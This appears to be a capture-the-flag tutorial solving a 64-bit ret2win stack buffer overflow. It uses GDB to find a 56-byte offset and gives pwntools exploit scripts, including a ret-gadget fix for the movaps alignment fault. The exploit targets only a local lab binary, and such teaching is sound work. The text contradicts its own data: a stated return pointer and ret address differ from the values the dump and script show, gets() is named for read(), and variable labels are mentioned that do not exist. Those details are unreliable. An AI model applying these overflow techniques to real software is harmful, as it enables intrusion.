Ready to try one on your own! This challenge doesn't print a copy of the stack, meaning you'll need to use GDB to find your padding.
If you're confident in your exploit and it's not working, jump to The MOVAPS Problem. We did not cover this, but it is an essential concept in 64-bit exploits.
Let's get solving, shall we?
As always, we check the security of the binary:
[*] '/ironforge/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
The binary does not have protections, so ret2win is probably a good solution. We also notice that it is 64-bit, meaning that we have to treat it accordingly.
Unsurprisingly, checking the functions list yields us the same result as win32
:
gef➤ info functions All defined functions: Non-debugging symbols: 0x0000000000401000 _init 0x0000000000401030 puts@plt 0x0000000000401040 system@plt 0x0000000000401050 read@plt 0x0000000000401060 fflush@plt 0x0000000000401070 _start 0x00000000004010a0 _dl_relocate_static_pie 0x00000000004010b0 deregister_tm_clones 0x00000000004010e0 register_tm_clones 0x0000000000401120 __do_global_dtors_aux 0x0000000000401150 frame_dummy 0x0000000000401156 win 0x000000000040116c read_in 0x00000000004011ab main 0x00000000004011d0 _fini
We're going straight to read_in
because we know the contents of win
and main
aren't relevant to us.
gef➤ disas read_in Dump of assembler code for function read_in: 0x000000000040116c <+0>: push rbp 0x000000000040116d <+1>: mov rbp,rsp 0x0000000000401170 <+4>: sub rsp,0x30 0x0000000000401174 <+8>: lea rax,[rip+0xe9d] # 0x402018 0x000000000040117b <+15>: mov rdi,rax 0x000000000040117e <+18>: call 0x401030 <puts@plt> 0x0000000000401183 <+23>: mov rax,QWORD PTR [rip+0x2ea6] # 0x404030 <stdout@GLIBC_2.2.5> 0x000000000040118a <+30>: mov rdi,rax 0x000000000040118d <+33>: call 0x401060 <fflush@plt> 0x0000000000401192 <+38>: lea rax,[rbp-0x30] 0x0000000000401196 <+42>: mov edx,0x46 0x000000000040119b <+47>: mov rsi,rax 0x000000000040119e <+50>: mov edi,0x0 0x00000000004011a3 <+55>: call 0x401050 <read@plt> 0x00000000004011a8 <+60>: nop 0x00000000004011a9 <+61>: leave 0x00000000004011aa <+62>: ret
The same "assembly dance" is happening in this binary. Let's go over this process:
main
performs a call read_in
to get inside this function. call
does two things: (1) puts the return pointer, the instruction after call
, onto the stack; and (2) jumps to the address of the called function.push rbp
pushes the old base pointer onto the stack. This is done so that the base pointer can be restored later.mov rbp, rsp
sets the base pointer to the current stack pointer. This is done so that the base pointer can be used as a reference to the stack.sub rsp, 0x30
allocates 0x30
bytes on the stack for local variables.This means that after the assembly dance, our stack should look like this:
|-- rsp v [... | ... 0x30 bytes ... | base pointer | return pointer | ... ]
Reviewing the assembly, we notice a call to puts@plt
and gets@plt
. puts
just prints out the "Can you figure out how to win here?" to the screen. Let's dive deeper into read()
and how it might be different for this architecture.
Since this is 64-bit, parameters are passed via the register. We know that read()
takes three arguments: the input file descriptor, the address where our input is stored, and the number of bytes to write. We proved the last binary that we are writing to the stack.
If we check the last data that was passed to rdi
before gets
is called, this is where we write. We find that this line is the last update to rdi
:
0x0000000000401192 <+38>: lea rax,[rbp-0x30] 0x0000000000401196 <+42>: mov edx,0x46 0x000000000040119b <+47>: mov rsi,rax 0x000000000040119e <+50>: mov edi,0x0 0x00000000004011a3 <+55>: call 0x401050 <read@plt>
rsi
is loaded with the address of rbp-0x30
, meaning this is where we are writing.
Let's put a breakpoint right before the call so we can inspect the stack:
gef➤ b *(read_in+55) gef➤ run
Find the address of the return pointer by checking the instruction after the call
to read_in
:
0x00000000004011b4 <+9>: call 0x40116c <read_in> 0x00000000004011b9 <+14>: lea rax,[rip+0xe7c] # 0x40203c
Our return pointer is 0x401205
.
Let's check what's on the stack:
gef➤ x/10gx $rsp 0x7fffffffdcb0: 0x0000000000000000 0x0000000000000000 0x7fffffffdcc0: 0x0000000000000000 0x0000000000000000 0x7fffffffdcd0: 0x0000000000000000 0x00007ffff7fe6c40 0x7fffffffdce0: 0x00007fffffffdcf0 0x00000000004011b9 0x7fffffffdcf0: 0x0000000000000001 0x00007ffff7dedc8a
We see that the return pointer is there:
gef➤ x/gx 0x7fffffffdce8 0x7fffffffdce8: 0x00000000004011b9
Checking rsi
shows us where we will start writing:
gef➤ p/x $rsi $1 = 0x7fffffffdcb0
Let's see how many bytes that we need to write to reach here:
gef➤ !python3 -c "print(0x7fffffffdce8-0x7fffffffdcb0)" 56
This makes sense. We were told that we are writing at rbp-0x30
, which is 48
bytes from the base pointer, plus we need to add 8
bytes for the old base pointer that was pushed on the stack, totaling 56
bytes.
Let's craft our exploit:
from pwn import * p = process("./chall") payload = b"A" * 56 payload += p64(0x401156) p.sendline(payload) p.interactive()
Running this produces the following output:
$ python3 asd.py [+] Starting local process './chall': pid 781495 [*] Switching to interactive mode Can you figure out how to win here? [*] Got EOF while reading in interactive $ [*] Process './chall' stopped with exit code -11 (SIGSEGV) (pid 781495) [*] Got EOF while sending in interactive
Hmmm. This isn't working. We know this because we reached EOF
(end of file) before we got to the interactive shell. Something's not quite right with the payload.
movaps
ProblemWe can modify our payload to run a gdb
instance on the binary using our payload to ensure that it executes properly.
p = gdb.debug('./chall', gdbscript=gdbcmds)
gdb.debug
takes the secondary argument of gdbscript
which is the list of commands you want to run automatically. This allows for rapid debugging by consistently jumping to the same spot in memory. In our case, we set gdbcmds
to:
gdbcmds = ''' b *read_in+55 c '''
This is going to set a breakpoint right before the gets()
call (which we did manually) and then continue (because a breakpoint is automatically set at _start()
).
If we reach the end of read_in
, we notice, based on the execution flow, that it intends to go to win()
:
● 0x4011a3 <read_in+0037> call 0x401050 <read@plt> 0x4011a8 <read_in+003c> nop 0x4011a9 <read_in+003d> leave → 0x4011aa <read_in+003e> ret ↳ 0x401156 <win+0000> push rbp 0x401157 <win+0001> mov rbp, rsp 0x40115a <win+0004> lea rax, [rip+0xea7] # 0x402008 0x401161 <win+000b> mov rdi, rax 0x401164 <win+000e> call 0x401040 <system@plt> 0x401169 <win+0013> nop
Using ni
, we see that the program successfully makes it to win()
. Our payload successfully takes us to the right place! If we continue execution to let it print the flag, we see that it segfaults:
[#0] Id 1, Name: "chall", stopped 0x7f774c5aa79b in do_system (), reason: SIGSEGV
We notice that it stops on the movaps
instruction inside of do_system
:
→ 0x7f774c5aa79b <do_system+016b> movaps XMMWORD PTR [rsp+0x50], xmm0
From the call trace, we see that this is called from win()
calling system()
, as expected:
[#0] 0x7f774c5aa79b → do_system(line=0x402008 "cat flag.txt") [#1] 0x401169 → win()
This is known as the movaps
fault. This happens because movaps
expects the stack to be 16-byte
aligned. However, we diverted execution away from the standard execution flow, so there's no guarantee that the stack is aligned. Furthermore, we are writing 56
bytes to the stack, which is not a multiple of 16
. This means that the stack is not aligned and movaps
will segfault.
How can we fix this? We can add 8
bytes to the payload, which will make it 64
bytes (which is a multiple of 16
). The standard solution for this is to divert to another return, which will effectively add 8
bytes to the payload and not affect the rest of the execution. Let's find another ret
to divert to. It doesn't matter which you pick, I randomly chose the one inside _init
:
gef➤ disas _init Dump of assembler code for function _init: 0x0000000000401000 <+0>: sub rsp,0x8 0x0000000000401004 <+4>: mov rax,QWORD PTR [rip+0x2fd5] # 0x403fe0 0x000000000040100b <+11>: test rax,rax 0x000000000040100e <+14>: je 0x401012 <_init+18> 0x0000000000401010 <+16>: call rax 0x0000000000401012 <+18>: add rsp,0x8 0x0000000000401016 <+22>: ret
The address of this return is 0x401110
. Let's add this to our payload:
from pwn import * p = process("./chall") payload = b"A" * 56 payload += p64(0x401016) payload += p64(0x401156) p.sendline(payload) p.interactive()
You'll notice that I label my variables based on what they are. f
variables are functions, g
variables are gadgets. More on what gadgets are when we get to ROP.
Running this:
$ python3 exploit.py [+] Starting local process './chall': pid 783819 [*] Switching to interactive mode Can you figure out how to win here? IFC{PL4C3H0LD3R_FL4G_H3R3!} [*] Process './chall' stopped with exit code 0 (pid 783819) [*] Got EOF while reading in interactive $ [*] Got EOF while sending in interactive
And we have our flag!